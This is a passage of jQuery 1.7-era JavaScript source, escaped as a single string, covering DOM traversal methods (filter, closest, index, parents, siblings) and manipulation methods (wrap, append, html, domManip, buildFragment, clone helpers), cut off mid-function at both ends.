ret.length;\n\t\t\tjQuery.find( selector, this[i], ret );\n\n\t\t\tif ( i > 0 ) {\n\t\t\t\t// Make sure that the results are unique\n\t\t\t\tfor ( n = length; n < ret.length; n++ ) {\n\t\t\t\t\tfor ( r = 0; r < length; r++ ) {\n\t\t\t\t\t\tif ( ret[r] === ret[n] ) {\n\t\t\t\t\t\t\tret.splice(n--, 1);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\thas: function( target ) {\n\t\tvar targets = jQuery( target );\n\t\treturn this.filter(function() {\n\t\t\tfor ( var i = 0, l = targets.length; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[i] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t},\n\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, false), \"not\", selector);\n\t},\n\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, true), \"filter\", selector );\n\t},\n\n\tis: function( selector ) {\n\t\treturn !!selector && (\n\t\t\ttypeof selector === \"string\" ?\n\t\t\t\t// If this is a positional selector, check membership in the returned set\n\t\t\t\t// so $(\"p:first\").is(\"p:last\") won't return true for a doc with two \"p\".\n\t\t\t\tPOS.test( selector ) ?\n\t\t\t\t\tjQuery( selector, this.context ).index( this[0] ) >= 0 :\n\t\t\t\t\tjQuery.filter( selector, this ).length > 0 :\n\t\t\t\tthis.filter( selector ).length > 0 );\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar ret = [], i, l, cur = this[0];\n\n\t\t// Array (deprecated as of jQuery 1.7)\n\t\tif ( jQuery.isArray( selectors ) ) {\n\t\t\tvar level = 1;\n\n\t\t\twhile ( cur && cur.ownerDocument && cur !== context ) {\n\t\t\t\tfor ( i = 0; i < selectors.length; i++ ) {\n\n\t\t\t\t\tif ( jQuery( cur ).is( selectors[ i ] ) ) {\n\t\t\t\t\t\tret.push({ selector: selectors[ i ], elem: cur, level: level });\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcur = cur.parentNode;\n\t\t\t\tlevel++;\n\t\t\t}\n\n\t\t\treturn ret;\n\t\t}\n\n\t\t// String\n\t\tvar pos = POS.test( selectors ) || typeof selectors !== \"string\" ?\n\t\t\t\tjQuery( selectors, context || this.context ) :\n\t\t\t\t0;\n\n\t\tfor ( i = 0, l = this.length; i < l; i++ ) {\n\t\t\tcur = this[i];\n\n\t\t\twhile ( cur ) {\n\t\t\t\tif ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) {\n\t\t\t\t\tret.push( cur );\n\t\t\t\t\tbreak;\n\n\t\t\t\t} else {\n\t\t\t\t\tcur = cur.parentNode;\n\t\t\t\t\tif ( !cur || !cur.ownerDocument || cur === context || cur.nodeType === 11 ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tret = ret.length > 1 ? jQuery.unique( ret ) : ret;\n\n\t\treturn this.pushStack( ret, \"closest\", selectors );\n\t},\n\n\t// Determine the position of an element within\n\t// the matched set of elements\n\tindex: function( elem ) {\n\n\t\t// No argument, return index in parent\n\t\tif ( !elem ) {\n\t\t\treturn ( this[0] && this[0].parentNode ) ? this.prevAll().length : -1;\n\t\t}\n\n\t\t// index in selector\n\t\tif ( typeof elem === \"string\" ) {\n\t\t\treturn jQuery.inArray( this[0], jQuery( elem ) );\n\t\t}\n\n\t\t// Locate the position of the desired element\n\t\treturn jQuery.inArray(\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[0] : elem, this );\n\t},\n\n\tadd: function( selector, context ) {\n\t\tvar set = typeof selector === \"string\" ?\n\t\t\t\tjQuery( selector, context ) :\n\t\t\t\tjQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ),\n\t\t\tall = jQuery.merge( this.get(), set );\n\n\t\treturn this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?\n\t\t\tall :\n\t\t\tjQuery.unique( all ) );\n\t},\n\n\tandSelf: function() {\n\t\treturn this.add( this.prevObject );\n\t}\n});\n\n// A painfully simple check to see if an element is disconnected\n// from a document (should be improved, where feasible).\nfunction isDisconnected( node ) {\n\treturn !node || !node.parentNode || node.parentNode.nodeType === 11;\n}\n\njQuery.each({\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn jQuery.dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn jQuery.sibling( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\treturn jQuery.nodeName( elem, \"iframe\" ) ?\n\t\t\telem.contentDocument || elem.contentWindow.document :\n\t\t\tjQuery.makeArray( elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar ret = jQuery.map( this, fn, until );\n\n\t\tif ( !runtil.test( name ) ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tret = jQuery.filter( selector, ret );\n\t\t}\n\n\t\tret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret;\n\n\t\tif ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) {\n\t\t\tret = ret.reverse();\n\t\t}\n\n\t\treturn this.pushStack( ret, name, slice.call( arguments ).join(\",\") );\n\t};\n});\n\njQuery.extend({\n\tfilter: function( expr, elems, not ) {\n\t\tif ( not ) {\n\t\t\texpr = \":not(\" + expr + \")\";\n\t\t}\n\n\t\treturn elems.length === 1 ?\n\t\t\tjQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] :\n\t\t\tjQuery.find.matches(expr, elems);\n\t},\n\n\tdir: function( elem, dir, until ) {\n\t\tvar matched = [],\n\t\t\tcur = elem[ dir ];\n\n\t\twhile ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {\n\t\t\tif ( cur.nodeType === 1 ) {\n\t\t\t\tmatched.push( cur );\n\t\t\t}\n\t\t\tcur = cur[dir];\n\t\t}\n\t\treturn matched;\n\t},\n\n\tnth: function( cur, result, dir, elem ) {\n\t\tresult = result || 1;\n\t\tvar num = 0;\n\n\t\tfor ( ; cur; cur = cur[dir] ) {\n\t\t\tif ( cur.nodeType === 1 && ++num === result ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn cur;\n\t},\n\n\tsibling: function( n, elem ) {\n\t\tvar r = [];\n\n\t\tfor ( ; n; n = n.nextSibling ) {\n\t\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\t\tr.push( n );\n\t\t\t}\n\t\t}\n\n\t\treturn r;\n\t}\n});\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, keep ) {\n\n\t// Can't pass null or undefined to indexOf in Firefox 4\n\t// Set to 0 to skip string check\n\tqualifier = qualifier || 0;\n\n\tif ( jQuery.isFunction( qualifier ) ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\tvar retVal = !!qualifier.call( elem, i, elem );\n\t\t\treturn retVal === keep;\n\t\t});\n\n\t} else if ( qualifier.nodeType ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\treturn ( elem === qualifier ) === keep;\n\t\t});\n\n\t} else if ( typeof qualifier === \"string\" ) {\n\t\tvar filtered = jQuery.grep(elements, function( elem ) {\n\t\t\treturn elem.nodeType === 1;\n\t\t});\n\n\t\tif ( isSimple.test( qualifier ) ) {\n\t\t\treturn jQuery.filter(qualifier, filtered, !keep);\n\t\t} else {\n\t\t\tqualifier = jQuery.filter( qualifier, filtered );\n\t\t}\n\t}\n\n\treturn jQuery.grep(elements, function( elem, i ) {\n\t\treturn ( jQuery.inArray( elem, qualifier ) >= 0 ) === keep;\n\t});\n}\n\n\n\n\nfunction createSafeFragment( document ) {\n\tvar list = nodeNames.split( \"|\" ),\n\tsafeFrag = document.createDocumentFragment();\n\n\tif ( safeFrag.createElement ) {\n\t\twhile ( list.length ) {\n\t\t\tsafeFrag.createElement(\n\t\t\t\tlist.pop()\n\t\t\t);\n\t\t}\n\t}\n\treturn safeFrag;\n}\n\nvar nodeNames = \"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|\" +\n\t\t\"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",\n\trinlinejQuery = / jQuery\\d+=\"(?:\\d+|null)\"/g,\n\trleadingWhitespace = /^\\s+/,\n\trxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/ig,\n\trtagName = /<([\\w:]+)/,\n\trtbody = /<tbody/i,\n\trhtml = /<|&#?\\w+;/,\n\trnoInnerhtml = /<(?:script|style)/i,\n\trnocache = /<(?:script|object|embed|option|style)/i,\n\trnoshimcache = new RegExp(\"<(?:\" + nodeNames + \")[\\\\s/>]\", \"i\"),\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\trscriptType = /\\/(java|ecma)script/i,\n\trcleanScript = /^\\s*<!(?:\\[CDATA\\[|\\-\\-)/,\n\twrapMap = {\n\t\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\t\tlegend: [ 1, \"<fieldset>\", \"</fieldset>\" ],\n\t\tthead: [ 1, \"<table>\", \"</table>\" ],\n\t\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\t\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\t\tcol: [ 2, \"<table><tbody></tbody><colgroup>\", \"</colgroup></table>\" ],\n\t\tarea: [ 1, \"<map>\", \"</map>\" ],\n\t\t_default: [ 0, \"\", \"\" ]\n\t},\n\tsafeFragment = createSafeFragment( document );\n\nwrapMap.optgroup = wrapMap.option;\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n// IE can't serialize <link> and <script> tags normally\nif ( !jQuery.support.htmlSerialize ) {\n\twrapMap._default = [ 1, \"div<div>\", \"</div>\" ];\n}\n\njQuery.fn.extend({\n\ttext: function( value ) {\n\t\treturn jQuery.access( this, function( value ) {\n\t\t\treturn value === undefined ?\n\t\t\t\tjQuery.text( this ) :\n\t\t\t\tthis.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) );\n\t\t}, null, value, arguments.length );\n\t},\n\n\twrapAll: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapAll( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// The elements to wrap the target around\n\t\t\tvar wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);\n\n\t\t\tif ( this[0].parentNode ) {\n\t\t\t\twrap.insertBefore( this[0] );\n\t\t\t}\n\n\t\t\twrap.map(function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstChild && elem.firstChild.nodeType === 1 ) {\n\t\t\t\t\telem = elem.firstChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t}).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapInner( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t});\n\t},\n\n\twrap: function( html ) {\n\t\tvar isFunction = jQuery.isFunction( html );\n\n\t\treturn this.each(function(i) {\n\t\t\tjQuery( this ).wrapAll( isFunction ? html.call(this, i) : html );\n\t\t});\n\t},\n\n\tunwrap: function() {\n\t\treturn this.parent().each(function() {\n\t\t\tif ( !jQuery.nodeName( this, \"body\" ) ) {\n\t\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t\t}\n\t\t}).end();\n\t},\n\n\tappend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.appendChild( elem );\n\t\t\t}\n\t\t});\n\t},\n\n\tprepend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.insertBefore( elem, this.firstChild );\n\t\t\t}\n\t\t});\n\t},\n\n\tbefore: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = jQuery.clean( arguments );\n\t\t\tset.push.apply( set, this.toArray() );\n\t\t\treturn this.pushStack( set, \"before\", arguments );\n\t\t}\n\t},\n\n\tafter: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = this.pushStack( this, \"after\", arguments );\n\t\t\tset.push.apply( set, jQuery.clean(arguments) );\n\t\t\treturn set;\n\t\t}\n\t},\n\n\t// keepData is for internal use only--do not document\n\tremove: function( selector, keepData ) {\n\t\tfor ( var i = 0, elem; (elem = this[i]) != null; i++ ) {\n\t\t\tif ( !selector || jQuery.filter( selector, [ elem ] ).length ) {\n\t\t\t\tif ( !keepData && elem.nodeType === 1 ) {\n\t\t\t\t\tjQuery.cleanData( elem.getElementsByTagName(\"*\") );\n\t\t\t\t\tjQuery.cleanData( [ elem ] );\n\t\t\t\t}\n\n\t\t\t\tif ( elem.parentNode ) {\n\t\t\t\t\telem.parentNode.removeChild( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tempty: function() {\n\t\tfor ( var i = 0, elem; (elem = this[i]) != null; i++ ) {\n\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\tjQuery.cleanData( elem.getElementsByTagName(\"*\") );\n\t\t\t}\n\n\t\t\t// Remove any remaining nodes\n\t\t\twhile ( elem.firstChild ) {\n\t\t\t\telem.removeChild( elem.firstChild );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n\t\treturn this.map( function () {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t});\n\t},\n\n\thtml: function( value ) {\n\t\treturn jQuery.access( this, function( value ) {\n\t\t\tvar elem = this[0] || {},\n\t\t\t\ti = 0,\n\t\t\t\tl = this.length;\n\n\t\t\tif ( value === undefined ) {\n\t\t\t\treturn elem.nodeType === 1 ?\n\t\t\t\t\telem.innerHTML.replace( rinlinejQuery, \"\" ) :\n\t\t\t\t\tnull;\n\t\t\t}\n\n\n\t\t\tif ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n\t\t\t\t( jQuery.support.leadingWhitespace || !rleadingWhitespace.test( value ) ) &&\n\t\t\t\t!wrapMap[ ( rtagName.exec( value ) || [\"\", \"\"] )[1].toLowerCase() ] ) {\n\n\t\t\t\tvalue = value.replace( rxhtmlTag, \"<$1></$2>\" );\n\n\t\t\t\ttry {\n\t\t\t\t\tfor (; i < l; i++ ) {\n\t\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\t\telem = this[i] || {};\n\t\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\t\tjQuery.cleanData( elem.getElementsByTagName( \"*\" ) );\n\t\t\t\t\t\t\telem.innerHTML = value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\telem = 0;\n\n\t\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t\tif ( elem ) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\t\t}, null, value, arguments.length );\n\t},\n\n\treplaceWith: function( value ) {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\t// Make sure that the elements are removed from the DOM before they are inserted\n\t\t\t// this can help fix replacing a parent with child elements\n\t\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\t\treturn this.each(function(i) {\n\t\t\t\t\tvar self = jQuery(this), old = self.html();\n\t\t\t\t\tself.replaceWith( value.call( this, i, old ) );\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tif ( typeof value !== \"string\" ) {\n\t\t\t\tvalue = jQuery( value ).detach();\n\t\t\t}\n\n\t\t\treturn this.each(function() {\n\t\t\t\tvar next = this.nextSibling,\n\t\t\t\t\tparent = this.parentNode;\n\n\t\t\t\tjQuery( this ).remove();\n\n\t\t\t\tif ( next ) {\n\t\t\t\t\tjQuery(next).before( value );\n\t\t\t\t} else {\n\t\t\t\t\tjQuery(parent).append( value );\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\treturn this.length ?\n\t\t\t\tthis.pushStack( jQuery(jQuery.isFunction(value) ? value() : value), \"replaceWith\", value ) :\n\t\t\t\tthis;\n\t\t}\n\t},\n\n\tdetach: function( selector ) {\n\t\treturn this.remove( selector, true );\n\t},\n\n\tdomManip: function( args, table, callback ) {\n\t\tvar results, first, fragment, parent,\n\t\t\tvalue = args[0],\n\t\t\tscripts = [];\n\n\t\t// We can't cloneNode fragments that contain checked, in WebKit\n\t\tif ( !jQuery.support.checkClone && arguments.length === 3 && typeof value === \"string\" && rchecked.test( value ) ) {\n\t\t\treturn this.each(function() {\n\t\t\t\tjQuery(this).domManip( args, table, callback, true );\n\t\t\t});\n\t\t}\n\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\targs[0] = value.call(this, i, table ? self.html() : undefined);\n\t\t\t\tself.domManip( args, table, callback );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\tparent = value && value.parentNode;\n\n\t\t\t// If we're in a fragment, just use that instead of building a new one\n\t\t\tif ( jQuery.support.parentNode && parent && parent.nodeType === 11 && parent.childNodes.length === this.length ) {\n\t\t\t\tresults = { fragment: parent };\n\n\t\t\t} else {\n\t\t\t\tresults = jQuery.buildFragment( args, this, scripts );\n\t\t\t}\n\n\t\t\tfragment = results.fragment;\n\n\t\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\t\tfirst = fragment = fragment.firstChild;\n\t\t\t} else {\n\t\t\t\tfirst = fragment.firstChild;\n\t\t\t}\n\n\t\t\tif ( first ) {\n\t\t\t\ttable = table && jQuery.nodeName( first, \"tr\" );\n\n\t\t\t\tfor ( var i = 0, l = this.length, lastIndex = l - 1; i < l; i++ ) {\n\t\t\t\t\tcallback.call(\n\t\t\t\t\t\ttable ?\n\t\t\t\t\t\t\troot(this[i], first) :\n\t\t\t\t\t\t\tthis[i],\n\t\t\t\t\t\t// Make sure that we do not leak memory by inadvertently discarding\n\t\t\t\t\t\t// the original fragment (which might have attached data) instead of\n\t\t\t\t\t\t// using it; in addition, use the original fragment object for the last\n\t\t\t\t\t\t// item instead of first because it can end up being emptied incorrectly\n\t\t\t\t\t\t// in certain situations (Bug #8070).\n\t\t\t\t\t\t// Fragments from the fragment cache must always be cloned and never used\n\t\t\t\t\t\t// in place.\n\t\t\t\t\t\tresults.cacheable || ( l > 1 && i < lastIndex ) ?\n\t\t\t\t\t\t\tjQuery.clone( fragment, true, true ) :\n\t\t\t\t\t\t\tfragment\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( scripts.length ) {\n\t\t\t\tjQuery.each( scripts, function( i, elem ) {\n\t\t\t\t\tif ( elem.src ) {\n\t\t\t\t\t\tjQuery.ajax({\n\t\t\t\t\t\t\ttype: \"GET\",\n\t\t\t\t\t\t\tglobal: false,\n\t\t\t\t\t\t\turl: elem.src,\n\t\t\t\t\t\t\tasync: false,\n\t\t\t\t\t\t\tdataType: \"script\"\n\t\t\t\t\t\t});\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjQuery.globalEval( ( elem.text || elem.textContent || elem.innerHTML || \"\" ).replace( rcleanScript, \"/*$0*/\" ) );\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( elem.parentNode ) {\n\t\t\t\t\t\telem.parentNode.removeChild( elem );\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t}\n});\n\nfunction root( elem, cur ) {\n\treturn jQuery.nodeName(elem, \"table\") ?\n\t\t(elem.getElementsByTagName(\"tbody\")[0] ||\n\t\telem.appendChild(elem.ownerDocument.createElement(\"tbody\"))) :\n\t\telem;\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\n\tif ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {\n\t\treturn;\n\t}\n\n\tvar type, i, l,\n\t\toldData = jQuery._data( src ),\n\t\tcurData = jQuery._data( dest, oldData ),\n\t\tevents = oldData.events;\n\n\tif ( events ) {\n\t\tdelete curData.handle;\n\t\tcurData.events = {};\n\n\t\tfor ( type in events ) {\n\t\t\tfor ( i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\tjQuery.event.add( dest, type, events[ type ][ i ] );\n\t\t\t}\n\t\t}\n\t}\n\n\t// make the cloned public data object a copy from the original\n\tif ( curData.data ) {\n\t\tcurData.data = jQuery.extend( {}, curData.data );\n\t}\n}\n\nfunction cloneFixAttributes( src, dest ) {\n\tvar nodeName;\n\n\t// We do not need to do anything for non-Elements\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\t// clearAttributes removes the attributes, which we don't want,\n\t// but also removes the attachEvent events, which we *do* want\n\tif ( dest.clearAttributes ) {\n\t\tdest.clearAttributes();\n\t}\n\n\t// mergeAttributes, in contrast, only merges back on the\n\t// original attributes, not the events\n\tif ( dest.mergeAttributes ) {\n\t\tdest.mergeAttributes( src );\n\t}\n\n\tnodeName = dest.nodeName.toLowerCase();\n\n\t// IE6-8 fail to clone children inside object elements that use\n\t// the proprietary classid attribute value (rather than the type\n\t// attribute) to identify the type of content to display\n\tif ( nodeName === \"object\" ) {\n\t\tdest.outerHTML = src.outerHTML;\n\n\t} else if ( nodeName === \"input\" && (src.type === \"checkbox\" || src.type === \"radio\") ) {\n\t\t// IE6-8 fails to persist the checked state of a cloned checkbox\n\t\t// or radio button. Worse, IE6-7 fail to give the cloned element\n\t\t// a checked appearance if the defaultChecked value isn't also set\n\t\tif ( src.checked ) {\n\t\t\tdest.defaultChecked = dest.checked = src.checked;\n\t\t}\n\n\t\t// IE6-7 get confused and end up setting the value of a cloned\n\t\t// checkbox/radio button to an empty string instead of \"on\"\n\t\tif ( dest.value !== src.value ) {\n\t\t\tdest.value = src.value;\n\t\t}\n\n\t// IE6-8 fails to return the selected option to the default selected\n\t// state when cloning options\n\t} else if ( nodeName === \"option\" ) {\n\t\tdest.selected = src.defaultSelected;\n\n\t// IE6-8 fails to set the defaultValue to the correct value when\n\t// cloning other types of input fields\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\n\t// IE blanks contents when cloning scripts\n\t} else if ( nodeName === \"script\" && dest.text !== src.text ) {\n\t\tdest.text = src.text;\n\t}\n\n\t// Event data gets referenced instead of copied if the expando\n\t// gets copied too\n\tdest.removeAttribute( jQuery.expando );\n\n\t// Clear flags for bubbling special change/submit events, they must\n\t// be reattached when the newly cloned events are first activated\n\tdest.removeAttribute( \"_submit_attached\" );\n\tdest.removeAttribute( \"_change_attached\" );\n}\n\njQuery.buildFragment = function( args, nodes, scripts ) {\n\tvar fragment, cacheable, cacheresults, doc,\n\tfirst = args[ 0 ];\n\n\t// nodes may contain either an explicit document object,\n\t// a jQuery collection or context object.\n\t// If nodes[0] contains a valid object to assign to doc\n\tif ( nodes && nodes[0] ) {\n\t\tdoc = nodes[0].ownerDocument || nodes[0];\n\t}\n\n\t// Ensure that an attr object doesn't incorrectly stand in as a document object\n\t// Chrome and Firefox seem to allow this to occur and will throw exception\n\t// Fixes #8950\n\tif ( !doc.createDocumentFragment ) {\n\t\tdoc = document;\n\t}\n\n\t// Only cache \"small\" (1/2 KB) HTML strings that are associated with the main document\n\t// Cloning options loses the selected state, so don't cache them\n\t// IE 6 doesn't like it when you put <object> or <embed> elements in a fragment\n\t// Also, WebKit does not clone 'checked' attributes on cloneNode, so don't cache\n\t// Lastly, IE6,7,8 will not correctly reuse cached fragments that were created from unknown elems #10501\n\tif ( args.length === 1 && typeof first === \"string\" && first.length < 512 && doc === document &&\n\t\tfirst.charAt(0) === \"<\" && !rnocache.test( first ) &&\n\t\t(jQuery.support.checkClone || !rchecked.test( first )) &&\n\t\t(jQuery.support.html5Clone || !rnoshimcache.test( first )) ) {\n\n\t\tcacheable = true;\n\n\t\tcacheresults = jQuery.fragments[ first ];\n\t\tif ( cacheresults && cacheresults !== 1 ) {\n\t\t\tfragment = cacheresults;\n\t\t}\n\t}\n\n\tif ( !fragment ) {\n\t\tfragment = doc.createDocumentFragment();\n\t\tjQuery.clean( args, doc, fragment, scripts );\n\t}\n\n\tif ( cacheable ) {\n\t\tjQuery.fragments[ first ] = cacheresults ? fragment : 1;\n\t}\n\n\treturn { fragment: fragment, cacheable: cacheable };\n};\n\njQuery.fragments = {};\n\njQuery.each({\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar ret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tparent = this.length === 1 && this[0].parentNode;\n\n\t\tif ( parent && parent.nodeType === 11 && parent.childNodes.length === 1 && insert.length === 1 ) {\n\t\t\tinsert[ original ]( this[0] );\n\t\t\treturn this;\n\n\t\t} else {\n\t\t\tfor ( var i = 0, l = insert.length; i < l; i++ ) {\n\t\t\t\tvar elems = ( i > 0 ? this.clone(true) : this ).get();\n\t\t\t\tjQuery( insert[i] )[ original ]( elems );\n\t\t\t\tret = ret.concat( elems );\n\t\t\t}\n\n\t\t\treturn this.pushStack( ret, name, insert.selector );\n\t\t}\n\t};\n});\n\nfunction getAll( elem ) {\n\tif ( typeof elem.getElementsByTagName !== \"undefined\" ) {\n\t\treturn elem.getElementsByTagName( \"*\" );\n\n\t} else if ( typeof elem.querySelectorAll !== \"undefined\" ) {\n\t\treturn elem.querySelectorAll( \"*\" );\n\n\t} else {\n\t\treturn [];\n\t}\n}\n\n// Used in clean, fixes the defaultChecked property\nfunction fixDefaultChecked( elem ) {\n\tif ( elem.type === \"checkbox\" || elem.type === \"radio\" ) {\n\t\telem.defaultChecked = elem.checked;\n\t}\n}\n// Finds all inputs and passes them to fixDefaultChecked\nfunction findInputs( elem ) {\n\tvar nodeName = ( elem.nodeName || \"\" ).toLowerCase();\n\tif ( nodeName === \"input\" ) {\n\t\tfixDefaultChecked( elem );\n\t// Skip scripts, get other children\n\t} else if ( nodeName !== \"script\" && typeof elem.getElementsByTagName !== \"undefined\" ) {\n\t\tjQuery.grep( elem.getElementsByTagName(\"input\"), fixDefaultChecked );\n\t}\n}\n\n// Derived From: http://www.iecss.com/shimprove/javascript/shimprove.1-0-1.js\nfunction shimCloneNode( elem ) {\n\tvar div = document.createElement( \"div\" );\n\tsafeFragment.appendChild( div );\n\n\tdiv.innerHTML = elem.outerHTML;\n\treturn div.firstChild;\n}\n\njQuery.extend({\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar srcElements,\n\t\t\tdestElements,\n\t\t\ti,\n\t\t\t// IE<=8 does not properly clone detached, unknown element nodes\n\t\t\tclone = jQuery.support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( \"<\" + elem.nodeName + \">\" ) ?\n\t\t\t\telem.cloneNode( true ) :\n\t\t\t\tshimCloneNode( elem 